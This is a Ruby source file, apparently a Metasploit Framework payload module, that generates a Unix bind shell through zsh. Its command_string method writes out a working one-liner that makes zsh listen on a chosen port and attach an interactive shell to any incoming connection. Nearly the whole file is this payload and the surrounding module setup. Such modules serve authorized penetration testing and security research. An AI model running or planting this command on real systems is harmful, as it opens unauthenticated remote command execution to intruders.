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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 99
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'          => 'Unix Command Shell, Bind TCP (via Zsh)',
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     'Description'   => %q{
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        Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
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        often available, please be aware it isn't usually installed by default.
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      },
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     'Author'        =>
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       [
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         'Doug Prostko <dougtko[at]gmail.com>',    # Initial payload
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         'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
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       ],
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     'License'       => MSF_LICENSE,
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     'Platform'      => 'unix',
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     'Arch'          => ARCH_CMD,
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     'Handler'       => Msf::Handler::BindTcp,
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     'Session'       => Msf::Sessions::CommandShell,
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     'PayloadType'   => 'cmd',
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     'RequiredCmd'   => 'zsh',
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     'Payload'       =>
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       {
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         'Offsets' => { },
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         'Payload' => ''
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       }
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    ))
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    register_advanced_options(
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      [
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        OptString.new('ZSHPath', [true, 'The path to the ZSH executable', 'zsh'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    "#{datastore['ZSHPath']} -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && #{datastore['ZSHPath']} >&$REPLY 2>&$REPLY 0>&$REPLY'"
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  end
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end
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